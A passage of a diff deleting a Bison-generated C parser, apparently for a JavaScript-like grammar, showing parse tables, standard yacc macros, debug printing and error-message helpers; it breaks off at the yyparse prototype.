-      -1,    -1,    43,    44,    -1,    -1,    -1,    -1,    -1,    -1,
-      51,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    59,    60,
-      61,    62,    63,    64,    65,    66,    -1,    68,    -1,    -1,
-      71,    -1,    -1,    74,    75,    76,    77,    -1,    -1,    -1,
-      -1,     3,     4,     5,     6,    -1,    87,     9,    10,    11,
-      12,    13,    14,    15,    16,    17,    18,    19,    20,    21,
-      -1,    -1,    24,    25,    26,    -1,    28,    29,    -1,    -1,
-      32,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    43,    44,    -1,    -1,    -1,    -1,    -1,    -1,    51,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    59,    60,    61,
-      62,    63,    64,    65,    66,    -1,    68,    -1,    -1,    71,
-      -1,    -1,    74,    75,    76,    77,    -1,    -1,    -1,    -1,
-       3,     4,     5,     6,    -1,    87,     9,    10,    11,    12,
-      13,    14,    15,    16,    17,    18,    19,    20,    21,    -1,
-      -1,    24,    25,    26,    -1,    28,    29,    -1,    -1,    32,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      43,    44,    -1,    -1,    -1,    -1,    -1,    -1,    51,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    59,    60,    61,    62,
-      63,    64,    65,    66,    -1,    68,    -1,    -1,    71,    -1,
-      -1,    74,    75,    76,    77,    -1,    -1,    -1,    -1,     3,
-       4,     5,     6,    -1,    87,     9,    10,    11,    12,    13,
-      14,    15,    16,    17,    18,    19,    20,    21,    -1,    -1,
-      24,    25,    26,    -1,    28,    29,    -1,    -1,    32,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    43,
-      44,    -1,    -1,    -1,    -1,    -1,    -1,    51,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    59,    -1,    61,    62,    63,
-      64,    65,    66,    -1,    68,    -1,    -1,    71,    -1,    -1,
-      74,    75,    76,    77,    -1,    -1,    -1,    -1,     3,     4,
-       5,     6,    -1,    87,     9,    10,    11,    12,    13,    14,
-      15,    16,    17,    18,    19,    20,    21,    -1,    -1,    24,
-      25,    26,    -1,    28,    29,    -1,    -1,    32,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    43,    44,
-      -1,    -1,    -1,    -1,    -1,    -1,    51,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    59,    -1,    61,    62,    63,    64,
-      65,    66,    -1,    68,    -1,    -1,    71,    -1,    -1,    74,
-      75,    76,    77,     3,     4,     5,    -1,    -1,    -1,    -1,
-      10,    11,    87,    -1,    14,    -1,    16,    17,    -1,    19,
-      -1,    -1,    -1,    -1,    24,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,     3,
-       4,     5,    -1,    43,    44,    -1,    10,    -1,    -1,    -1,
-      14,    51,    16,    17,    -1,    19,    -1,    -1,    -1,    59,
-      24,    61,    62,    63,    64,    65,    66,    -1,    68,    -1,
-      -1,    71,    -1,    -1,    74,    75,    76,    77,    -1,    43,
-      44,    -1,    -1,    -1,    -1,    -1,    -1,    51,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    59,    -1,    61,    62,    63,
-      64,    65,    66,    -1,    68,    -1,    -1,    71,    72,    -1,
-      74,    75,    76,    77,     3,     4,     5,    -1,    -1,    -1,
-      -1,    10,    -1,    -1,    -1,    14,    -1,    16,    17,    -1,
-      19,    -1,    -1,    -1,    -1,    24,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-       3,     4,     5,    -1,    43,    44,    -1,    10,    -1,    -1,
-      -1,    14,    51,    16,    17,    -1,    19,    -1,    -1,    -1,
-      59,    24,    61,    62,    63,    64,    65,    66,    -1,    68,
-      69,    -1,    71,    -1,    -1,    74,    75,    76,    77,    -1,
-      43,    44,    -1,    -1,    -1,    -1,    -1,    -1,    51,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    59,    -1,    61,    62,
-      63,    64,    65,    66,    -1,    68,    -1,    -1,    71,    72,
-      -1,    74,    75,    76,    77,     3,     4,     5,    -1,    -1,
-      -1,    -1,    10,    11,    -1,    -1,    14,    -1,    16,    17,
-      -1,    19,    -1,    -1,    -1,    -1,    24,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,     3,     4,     5,    -1,    43,    44,    -1,    10,    -1,
-      -1,    -1,    14,    51,    16,    17,    -1,    19,    -1,    -1,
-      -1,    59,    24,    61,    62,    63,    64,    65,    66,    -1,
-      68,    -1,    -1,    71,    -1,    -1,    74,    75,    76,    77,
-      -1,    43,    44,    -1,    -1,    -1,    -1,    -1,    -1,    51,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    59,    -1,    61,
-      62,    63,    64,    65,    66,    -1,    68,    -1,    -1,    71,
-      72,    -1,    74,    75,    76,    77,     3,     4,     5,    -1,
-      -1,    -1,    -1,    10,    -1,    -1,    -1,    14,    -1,    16,
-      17,    -1,    19,    -1,    -1,    -1,    -1,    24,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,     3,     4,     5,    -1,    43,    44,    -1,    10,
-      -1,    -1,    -1,    14,    51,    16,    17,    -1,    19,    -1,
-      -1,    -1,    59,    24,    61,    62,    63,    64,    65,    66,
-      -1,    68,    69,    -1,    71,    -1,    -1,    74,    75,    76,
-      77,    -1,    43,    44,    -1,    -1,    -1,    -1,    -1,    -1,
-      51,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    59,    -1,
-      61,    62,    63,    64,    65,    66,    -1,    68,    -1,    -1,
-      71,    72,    -1,    74,    75,    76,    77,     3,     4,     5,
-      -1,    -1,    -1,    -1,    10,    -1,    -1,    -1,    14,    -1,
-      16,    17,    -1,    19,    -1,    -1,    -1,    -1,    24,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,     3,     4,     5,    -1,    43,    44,    -1,
-      10,    -1,    -1,    -1,    14,    51,    16,    17,    -1,    19,
-      -1,    -1,    -1,    59,    24,    61,    62,    63,    64,    65,
-      66,    -1,    68,    -1,    -1,    71,    -1,    -1,    74,    75,
-      76,    77,    -1,    43,    44,    -1,    -1,    -1,    -1,    -1,
-      -1,    51,    -1,    -1,    -1,    -1,    -1,    22,    -1,    59,
-      -1,    61,    62,    63,    64,    65,    66,    -1,    68,    -1,
-      -1,    71,    -1,    -1,    74,    75,    76,    77,    43,    44,
-      -1,    -1,    -1,    48,    49,    50,    51,    52,    53,    54,
-      55,    56,    57,    58,    43,    44,    -1,    -1,    -1,    48,
-      49,    50,    51,    52,    53,    54,    55,    56,    57,    58,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    43,    44,    -1,
-      -1,    86,    48,    49,    50,    51,    52,    53,    54,    55,
-      56,    57,    58,    43,    44,    -1,    -1,    86,    48,    49,
-      50,    51,    52,    53,    54,    55,    56,    57,    58,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    43,    44,    -1,    -1,
-      86,    48,    49,    50,    51,    52,    53,    54,    55,    56,
-      57,    58,    -1,    -1,    -1,    -1,    86,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    86
-};
-
-/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing
-   symbol of state STATE-NUM.  */
-static const yytype_uint16 yystos[] =
-{
-       0,     3,     4,     5,     6,     9,    10,    11,    12,    13,
-      14,    15,    16,    17,    18,    19,    20,    21,    24,    25,
-      26,    28,    29,    32,    43,    44,    51,    59,    61,    62,
-      63,    64,    65,    66,    68,    71,    74,    75,    76,    77,
-      87,    89,    93,    94,    99,   101,   103,   107,   109,   110,
-     112,   114,   116,   118,   121,   124,   127,   130,   133,   136,
-     139,   142,   145,   149,   150,   151,   152,   155,   160,   161,
-     162,   163,   166,   167,   168,   169,   170,   176,   177,   178,
-     179,   180,   184,   185,     1,    62,    87,    68,    10,    14,
-      59,    62,    92,    93,    98,   100,   181,    62,   153,    62,
-     156,   157,     1,    62,    87,    62,     1,    87,    98,   100,
-     102,   106,   108,   110,   111,   113,   115,   117,   119,   122,
-     125,   128,   131,   134,   137,   140,   143,   147,   106,   111,
-     111,    68,   150,    68,   111,    68,    68,   147,   151,     1,
-      87,   111,   111,    60,   185,    67,   111,   111,   147,    70,
-      95,    96,    97,   111,   111,   111,   111,    68,    71,    73,
-     104,    71,    73,   104,    43,    44,    48,    49,    50,    51,
-      52,    53,    54,    55,    56,    57,    58,    86,   146,    66,
-      78,    79,    74,    75,    45,    46,    47,    22,    23,    39,
-      40,    80,    81,    35,    36,    37,    38,    82,    83,    84,
-      42,    41,    85,     1,    70,    87,     0,   150,     1,    87,
-      11,   106,   117,   120,   123,   126,   129,   132,   135,   138,
-     141,   144,   148,   165,    98,   100,    62,    68,    60,    61,
-      62,    63,    90,    91,    71,    73,   104,    86,   158,     1,
-      70,    87,   158,     1,    70,    87,     1,    87,    68,   104,
-      71,    73,   104,    43,    44,   146,    66,    78,    79,    74,
-      75,    45,    46,    47,    22,    23,    39,    40,    80,    81,
-      35,    36,    37,    38,    82,    83,    84,    42,    41,    85,
-       1,    70,    87,   147,    21,   147,   147,   147,     1,    87,
-      30,    31,    60,   150,    69,    70,    72,    72,   143,    70,
-      69,   105,   143,   147,    62,   147,    62,   143,   111,   111,
-     111,   113,   113,   115,   115,   115,   117,   117,   117,   117,
-     117,   117,   119,   119,   119,   119,   122,   125,   128,   131,
-     134,   143,   143,    62,   154,    22,   146,    23,    39,    40,
-      80,    81,    35,    36,    37,    38,    82,    83,    84,    42,
-      41,    85,    70,    87,   104,    68,    62,    69,   182,    67,
-      62,    67,    67,    60,    70,   147,    62,   143,    62,   157,
-      69,   182,   147,    62,   143,   111,   111,   111,   113,   113,
-     115,   115,   115,   117,   117,   117,   117,   117,   117,   119,
-     119,   119,   119,   122,   125,   128,   131,   134,   143,   143,
-      69,    68,    69,    69,    69,    68,   151,    96,    69,    70,
-      72,    72,    67,    22,    86,   159,    70,    87,   147,   106,
-     144,   117,   117,   117,   117,   117,   120,   120,   120,   120,
-     123,   126,   129,   132,   135,   144,   144,   147,   164,    69,
-     182,    59,    69,    70,   143,    68,   143,   143,    60,    90,
-      72,   158,    59,    69,    72,    67,   150,   147,   150,    59,
-     171,   150,    62,    72,   143,   143,   143,   147,   144,    22,
-      62,   164,    69,    67,    87,    59,    69,     3,     4,     5,
-       6,     9,    10,    11,    12,    13,    14,    15,    16,    17,
-      18,    19,    20,    21,    24,    25,    26,    28,    29,    32,
-      43,    44,    51,    59,    61,    62,    63,    64,    65,    66,
-      68,    71,    74,    75,    76,    77,    87,   183,   186,   190,
-     191,   196,   198,   200,   204,   206,   207,   209,   211,   213,
-     215,   218,   221,   224,   227,   230,   233,   236,   239,   242,
-     246,   247,   248,   249,   252,   257,   258,   259,   260,   263,
-     264,   265,   266,   267,   273,   274,   275,   276,   277,   281,
-      59,    62,    69,   182,   183,    59,   143,    34,    69,     7,
-     172,   173,   174,    69,    69,   147,   159,    87,   150,   144,
-     164,   183,    59,     1,    62,    87,    68,    10,    14,    59,
-      62,   189,   190,   195,   197,   278,    62,   250,    62,   253,
-     254,     1,    62,    87,    62,     1,    87,   195,   197,   199,
-     203,   205,   207,   208,   210,   212,   214,   216,   219,   222,
-     225,   228,   231,   234,   237,   240,   244,   203,   208,   208,
-      68,   247,    68,   208,    68,    68,   244,   248,     1,    87,
-     208,   208,    60,   281,    67,   208,   208,   244,    70,   192,
-     193,   194,   208,   208,   208,   208,    60,    68,    71,    73,
-     201,    71,    73,   201,    43,    44,    48,    49,    50,    51,
-      52,    53,    54,    55,    56,    57,    58,    86,   243,    66,
-      78,    79,    74,    75,    45,    46,    47,    22,    23,    39,
-      40,    80,    81,    35,    36,    37,    38,    82,    83,    84,
-      42,    41,    85,     1,    70,    87,   247,   183,    59,    69,
-      60,   183,   150,     1,    87,   147,     8,    60,   175,   174,
-     151,   150,    69,   164,    69,    60,   183,     1,    87,    11,
-     203,   214,   217,   220,   223,   226,   229,   232,   235,   238,
-     241,   245,   262,   195,   197,    62,    68,    60,    61,    62,
-      63,   187,   188,    71,    73,   201,    86,   255,     1,    70,
-      87,   255,     1,    70,    87,     1,    87,    68,   201,    71,
-      73,   201,    43,    44,   243,    66,    78,    79,    74,    75,
-      45,    46,    47,    22,    23,    39,    40,    80,    81,    35,
-      36,    37,    38,    82,    83,    84,    42,    41,    85,     1,
-      70,    87,   244,    21,   244,   244,   244,     1,    87,    30,
-      31,    60,   247,    69,    70,    72,    72,   240,    70,    69,
-     202,   240,   244,    62,   244,    62,   240,   208,   208,   208,
-     210,   210,   212,   212,   212,   214,   214,   214,   214,   214,
-     214,   216,   216,   216,   216,   219,   222,   225,   228,   231,
-     240,   240,    60,   183,    59,    60,    67,    67,   172,    31,
-     150,    69,   150,    60,    62,   251,    22,   243,    23,    39,
-      40,    80,    81,    35,    36,    37,    38,    82,    83,    84,
-      42,    41,    85,    70,    87,   201,    68,    62,    69,   279,
-      67,    62,    67,    67,    60,    70,   244,    62,   240,    62,
-     254,    69,   279,   244,    62,   240,   208,   208,   208,   210,
-     210,   212,   212,   212,   214,   214,   214,   214,   214,   214,
-     216,   216,   216,   216,   219,   222,   225,   228,   231,   240,
-     240,    69,    68,    69,    69,    69,    68,   248,   193,    69,
-      70,    72,    72,    67,    60,   183,   185,   185,    60,   151,
-     150,    22,    86,   256,    70,    87,   244,   203,   241,   214,
-     214,   214,   214,   214,   217,   217,   217,   217,   220,   223,
-     226,   229,   232,   241,   241,   244,   261,    69,   279,    59,
-      69,    70,   240,    68,   240,   240,    60,   187,    72,   255,
-      59,    69,    72,    67,   247,   244,   247,    59,   268,   247,
-      62,    72,   240,   240,   240,    60,   244,   241,    22,    62,
-     261,    69,    67,    87,    59,    69,   280,   281,    59,    62,
-      69,   279,   280,    59,   240,    34,    69,     7,   269,   270,
-     271,    69,    69,   244,   256,    87,   247,   241,   261,   280,
-      59,    60,   280,    59,    69,    60,   280,   247,     1,    87,
-     244,     8,    60,   272,   271,   248,   247,    69,   261,    69,
-      60,   280,    60,   280,    59,    60,    67,    67,   269,    31,
-     247,    69,   247,    60,    60,   280,   281,   281,    60,   248,
-     247,    60
-};
-
-#define yyerrok		(yyerrstatus = 0)
-#define yyclearin	(yychar = YYEMPTY)
-#define YYEMPTY		(-2)
-#define YYEOF		0
-
-#define YYACCEPT	goto yyacceptlab
-#define YYABORT		goto yyabortlab
-#define YYERROR		goto yyerrorlab
-
-
-/* Like YYERROR except do call yyerror.  This remains here temporarily
-   to ease the transition to the new meaning of YYERROR, for GCC.
-   Once GCC version 2 has supplanted version 1, this can go.  */
-
-#define YYFAIL		goto yyerrlab
-
-#define YYRECOVERING()  (!!yyerrstatus)
-
-#define YYBACKUP(Token, Value)					\
-do								\
-  if (yychar == YYEMPTY && yylen == 1)				\
-    {								\
-      yychar = (Token);						\
-      yylval = (Value);						\
-      yytoken = YYTRANSLATE (yychar);				\
-      YYPOPSTACK (1);						\
-      goto yybackup;						\
-    }								\
-  else								\
-    {								\
-      yyerror (YY_("syntax error: cannot back up")); \
-      YYERROR;							\
-    }								\
-while (YYID (0))
-
-
-#define YYTERROR	1
-#define YYERRCODE	256
-
-
-/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N].
-   If N is 0, then set CURRENT to the empty location which ends
-   the previous symbol: RHS[0] (always defined).  */
-
-#define YYRHSLOC(Rhs, K) ((Rhs)[K])
-#ifndef YYLLOC_DEFAULT
-# define YYLLOC_DEFAULT(Current, Rhs, N)				\
-    do									\
-      if (YYID (N))                                                    \
-	{								\
-	  (Current).first_line   = YYRHSLOC (Rhs, 1).first_line;	\
-	  (Current).first_column = YYRHSLOC (Rhs, 1).first_column;	\
-	  (Current).last_line    = YYRHSLOC (Rhs, N).last_line;		\
-	  (Current).last_column  = YYRHSLOC (Rhs, N).last_column;	\
-	}								\
-      else								\
-	{								\
-	  (Current).first_line   = (Current).last_line   =		\
-	    YYRHSLOC (Rhs, 0).last_line;				\
-	  (Current).first_column = (Current).last_column =		\
-	    YYRHSLOC (Rhs, 0).last_column;				\
-	}								\
-    while (YYID (0))
-#endif
-
-
-/* YY_LOCATION_PRINT -- Print the location on the stream.
-   This macro was not mandated originally: define only if we know
-   we won't break user code: when these are the locations we know.  */
-
-#ifndef YY_LOCATION_PRINT
-# if YYLTYPE_IS_TRIVIAL
-#  define YY_LOCATION_PRINT(File, Loc)			\
-     fprintf (File, "%d.%d-%d.%d",			\
-	      (Loc).first_line, (Loc).first_column,	\
-	      (Loc).last_line,  (Loc).last_column)
-# else
-#  define YY_LOCATION_PRINT(File, Loc) ((void) 0)
-# endif
-#endif
-
-
-/* YYLEX -- calling `yylex' with the right arguments.  */
-
-#ifdef YYLEX_PARAM
-# define YYLEX yylex (&yylval, &yylloc, YYLEX_PARAM)
-#else
-# define YYLEX yylex (&yylval, &yylloc)
-#endif
-
-/* Enable debugging if requested.  */
-#if YYDEBUG
-
-# ifndef YYFPRINTF
-#  include <stdio.h> /* INFRINGES ON USER NAME SPACE */
-#  define YYFPRINTF fprintf
-# endif
-
-# define YYDPRINTF(Args)			\
-do {						\
-  if (yydebug)					\
-    YYFPRINTF Args;				\
-} while (YYID (0))
-
-# define YY_SYMBOL_PRINT(Title, Type, Value, Location)			  \
-do {									  \
-  if (yydebug)								  \
-    {									  \
-      YYFPRINTF (stderr, "%s ", Title);					  \
-      yy_symbol_print (stderr,						  \
-		  Type, Value, Location); \
-      YYFPRINTF (stderr, "\n");						  \
-    }									  \
-} while (YYID (0))
-
-
-/*--------------------------------.
-| Print this symbol on YYOUTPUT.  |
-`--------------------------------*/
-
-/*ARGSUSED*/
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static void
-yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep, YYLTYPE const * const yylocationp)
-#else
-static void
-yy_symbol_value_print (yyoutput, yytype, yyvaluep, yylocationp)
-    FILE *yyoutput;
-    int yytype;
-    YYSTYPE const * const yyvaluep;
-    YYLTYPE const * const yylocationp;
-#endif
-{
-  if (!yyvaluep)
-    return;
-  YYUSE (yylocationp);
-# ifdef YYPRINT
-  if (yytype < YYNTOKENS)
-    YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep);
-# else
-  YYUSE (yyoutput);
-# endif
-  switch (yytype)
-    {
-      default:
-	break;
-    }
-}
-
-
-/*--------------------------------.
-| Print this symbol on YYOUTPUT.  |
-`--------------------------------*/
-
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static void
-yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep, YYLTYPE const * const yylocationp)
-#else
-static void
-yy_symbol_print (yyoutput, yytype, yyvaluep, yylocationp)
-    FILE *yyoutput;
-    int yytype;
-    YYSTYPE const * const yyvaluep;
-    YYLTYPE const * const yylocationp;
-#endif
-{
-  if (yytype < YYNTOKENS)
-    YYFPRINTF (yyoutput, "token %s (", yytname[yytype]);
-  else
-    YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]);
-
-  YY_LOCATION_PRINT (yyoutput, *yylocationp);
-  YYFPRINTF (yyoutput, ": ");
-  yy_symbol_value_print (yyoutput, yytype, yyvaluep, yylocationp);
-  YYFPRINTF (yyoutput, ")");
-}
-
-/*------------------------------------------------------------------.
-| yy_stack_print -- Print the state stack from its BOTTOM up to its |
-| TOP (included).                                                   |
-`------------------------------------------------------------------*/
-
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static void
-yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop)
-#else
-static void
-yy_stack_print (yybottom, yytop)
-    yytype_int16 *yybottom;
-    yytype_int16 *yytop;
-#endif
-{
-  YYFPRINTF (stderr, "Stack now");
-  for (; yybottom <= yytop; yybottom++)
-    {
-      int yybot = *yybottom;
-      YYFPRINTF (stderr, " %d", yybot);
-    }
-  YYFPRINTF (stderr, "\n");
-}
-
-# define YY_STACK_PRINT(Bottom, Top)				\
-do {								\
-  if (yydebug)							\
-    yy_stack_print ((Bottom), (Top));				\
-} while (YYID (0))
-
-
-/*------------------------------------------------.
-| Report that the YYRULE is going to be reduced.  |
-`------------------------------------------------*/
-
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static void
-yy_reduce_print (YYSTYPE *yyvsp, YYLTYPE *yylsp, int yyrule)
-#else
-static void
-yy_reduce_print (yyvsp, yylsp, yyrule)
-    YYSTYPE *yyvsp;
-    YYLTYPE *yylsp;
-    int yyrule;
-#endif
-{
-  int yynrhs = yyr2[yyrule];
-  int yyi;
-  unsigned long int yylno = yyrline[yyrule];
-  YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n",
-	     yyrule - 1, yylno);
-  /* The symbols being reduced.  */
-  for (yyi = 0; yyi < yynrhs; yyi++)
-    {
-      YYFPRINTF (stderr, "   $%d = ", yyi + 1);
-      yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi],
-		       &(yyvsp[(yyi + 1) - (yynrhs)])
-		       , &(yylsp[(yyi + 1) - (yynrhs)])		       );
-      YYFPRINTF (stderr, "\n");
-    }
-}
-
-# define YY_REDUCE_PRINT(Rule)		\
-do {					\
-  if (yydebug)				\
-    yy_reduce_print (yyvsp, yylsp, Rule); \
-} while (YYID (0))
-
-/* Nonzero means print parse trace.  It is left uninitialized so that
-   multiple parsers can coexist.  */
-int yydebug;
-#else /* !YYDEBUG */
-# define YYDPRINTF(Args)
-# define YY_SYMBOL_PRINT(Title, Type, Value, Location)
-# define YY_STACK_PRINT(Bottom, Top)
-# define YY_REDUCE_PRINT(Rule)
-#endif /* !YYDEBUG */
-
-
-/* YYINITDEPTH -- initial size of the parser's stacks.  */
-#ifndef	YYINITDEPTH
-# define YYINITDEPTH 200
-#endif
-
-/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only
-   if the built-in stack extension method is used).
-
-   Do not make this value too large; the results are undefined if
-   YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH)
-   evaluated with infinite-precision integer arithmetic.  */
-
-#ifndef YYMAXDEPTH
-# define YYMAXDEPTH 10000
-#endif
-
-
-
-#if YYERROR_VERBOSE
-
-# ifndef yystrlen
-#  if defined __GLIBC__ && defined _STRING_H
-#   define yystrlen strlen
-#  else
-/* Return the length of YYSTR.  */
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static YYSIZE_T
-yystrlen (const char *yystr)
-#else
-static YYSIZE_T
-yystrlen (yystr)
-    const char *yystr;
-#endif
-{
-  YYSIZE_T yylen;
-  for (yylen = 0; yystr[yylen]; yylen++)
-    continue;
-  return yylen;
-}
-#  endif
-# endif
-
-# ifndef yystpcpy
-#  if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE
-#   define yystpcpy stpcpy
-#  else
-/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in
-   YYDEST.  */
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static char *
-yystpcpy (char *yydest, const char *yysrc)
-#else
-static char *
-yystpcpy (yydest, yysrc)
-    char *yydest;
-    const char *yysrc;
-#endif
-{
-  char *yyd = yydest;
-  const char *yys = yysrc;
-
-  while ((*yyd++ = *yys++) != '\0')
-    continue;
-
-  return yyd - 1;
-}
-#  endif
-# endif
-
-# ifndef yytnamerr
-/* Copy to YYRES the contents of YYSTR after stripping away unnecessary
-   quotes and backslashes, so that it's suitable for yyerror.  The
-   heuristic is that double-quoting is unnecessary unless the string
-   contains an apostrophe, a comma, or backslash (other than
-   backslash-backslash).  YYSTR is taken from yytname.  If YYRES is
-   null, do not copy; instead, return the length of what the result
-   would have been.  */
-static YYSIZE_T
-yytnamerr (char *yyres, const char *yystr)
-{
-  if (*yystr == '"')
-    {
-      YYSIZE_T yyn = 0;
-      char const *yyp = yystr;
-
-      for (;;)
-	switch (*++yyp)
-	  {
-	  case '\'':
-	  case ',':
-	    goto do_not_strip_quotes;
-
-	  case '\\':
-	    if (*++yyp != '\\')
-	      goto do_not_strip_quotes;
-	    /* Fall through.  */
-	  default:
-	    if (yyres)
-	      yyres[yyn] = *yyp;
-	    yyn++;
-	    break;
-
-	  case '"':
-	    if (yyres)
-	      yyres[yyn] = '\0';
-	    return yyn;
-	  }
-    do_not_strip_quotes: ;
-    }
-
-  if (! yyres)
-    return yystrlen (yystr);
-
-  return yystpcpy (yyres, yystr) - yyres;
-}
-# endif
-
-/* Copy into YYRESULT an error message about the unexpected token
-   YYCHAR while in state YYSTATE.  Return the number of bytes copied,
-   including the terminating null byte.  If YYRESULT is null, do not
-   copy anything; just return the number of bytes that would be
-   copied.  As a special case, return 0 if an ordinary "syntax error"
-   message will do.  Return YYSIZE_MAXIMUM if overflow occurs during
-   size calculation.  */
-static YYSIZE_T
-yysyntax_error (char *yyresult, int yystate, int yychar)
-{
-  int yyn = yypact[yystate];
-
-  if (! (YYPACT_NINF < yyn && yyn <= YYLAST))
-    return 0;
-  else
-    {
-      int yytype = YYTRANSLATE (yychar);
-      YYSIZE_T yysize0 = yytnamerr (0, yytname[yytype]);
-      YYSIZE_T yysize = yysize0;
-      YYSIZE_T yysize1;
-      int yysize_overflow = 0;
-      enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 };
-      char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM];
-      int yyx;
-
-# if 0
-      /* This is so xgettext sees the translatable formats that are
-	 constructed on the fly.  */
-      YY_("syntax error, unexpected %s");
-      YY_("syntax error, unexpected %s, expecting %s");
-      YY_("syntax error, unexpected %s, expecting %s or %s");
-      YY_("syntax error, unexpected %s, expecting %s or %s or %s");
-      YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s");
-# endif
-      char *yyfmt;
-      char const *yyf;
-      static char const yyunexpected[] = "syntax error, unexpected %s";
-      static char const yyexpecting[] = ", expecting %s";
-      static char const yyor[] = " or %s";
-      char yyformat[sizeof yyunexpected
-		    + sizeof yyexpecting - 1
-		    + ((YYERROR_VERBOSE_ARGS_MAXIMUM - 2)
-		       * (sizeof yyor - 1))];
-      char const *yyprefix = yyexpecting;
-
-      /* Start YYX at -YYN if negative to avoid negative indexes in
-	 YYCHECK.  */
-      int yyxbegin = yyn < 0 ? -yyn : 0;
-
-      /* Stay within bounds of both yycheck and yytname.  */
-      int yychecklim = YYLAST - yyn + 1;
-      int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS;
-      int yycount = 1;
-
-      yyarg[0] = yytname[yytype];
-      yyfmt = yystpcpy (yyformat, yyunexpected);
-
-      for (yyx = yyxbegin; yyx < yyxend; ++yyx)
-	if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR)
-	  {
-	    if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM)
-	      {
-		yycount = 1;
-		yysize = yysize0;
-		yyformat[sizeof yyunexpected - 1] = '\0';
-		break;
-	      }
-	    yyarg[yycount++] = yytname[yyx];
-	    yysize1 = yysize + yytnamerr (0, yytname[yyx]);
-	    yysize_overflow |= (yysize1 < yysize);
-	    yysize = yysize1;
-	    yyfmt = yystpcpy (yyfmt, yyprefix);
-	    yyprefix = yyor;
-	  }
-
-      yyf = YY_(yyformat);
-      yysize1 = yysize + yystrlen (yyf);
-      yysize_overflow |= (yysize1 < yysize);
-      yysize = yysize1;
-
-      if (yysize_overflow)
-	return YYSIZE_MAXIMUM;
-
-      if (yyresult)
-	{
-	  /* Avoid sprintf, as that infringes on the user's name space.
-	     Don't have undefined behavior even if the translation
-	     produced a string with the wrong number of "%s"s.  */
-	  char *yyp = yyresult;
-	  int yyi = 0;
-	  while ((*yyp = *yyf) != '\0')
-	    {
-	      if (*yyp == '%' && yyf[1] == 's' && yyi < yycount)
-		{
-		  yyp += yytnamerr (yyp, yyarg[yyi++]);
-		  yyf += 2;
-		}
-	      else
-		{
-		  yyp++;
-		  yyf++;
-		}
-	    }
-	}
-      return yysize;
-    }
-}
-#endif /* YYERROR_VERBOSE */
-
-
-/*-----------------------------------------------.
-| Release the memory associated to this symbol.  |
-`-----------------------------------------------*/
-
-/*ARGSUSED*/
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static void
-yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep, YYLTYPE *yylocationp)
-#else
-static void
-yydestruct (yymsg, yytype, yyvaluep, yylocationp)
-    const char *yymsg;
-    int yytype;
-    YYSTYPE *yyvaluep;
-    YYLTYPE *yylocationp;
-#endif
-{
-  YYUSE (yyvaluep);
-  YYUSE (yylocationp);
-
-  if (!yymsg)
-    yymsg = "Deleting";
-  YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp);
-
-  switch (yytype)
-    {
-
-      default:
-	break;
-    }
-}
-
-/* Prevent warnings from -Wmissing-prototypes.  */
-#ifdef YYPARSE_PARAM
-#if defined __STDC__ || defined __cplusplus
-int yyparse (void *YYPARSE_PARAM);
-#else
-int yyparse ();
-#endif
-#else /* ! YYPARSE_PARAM */
-#if defined __STDC__ || defined __cplusplus
-int yyparse (void);
-#else
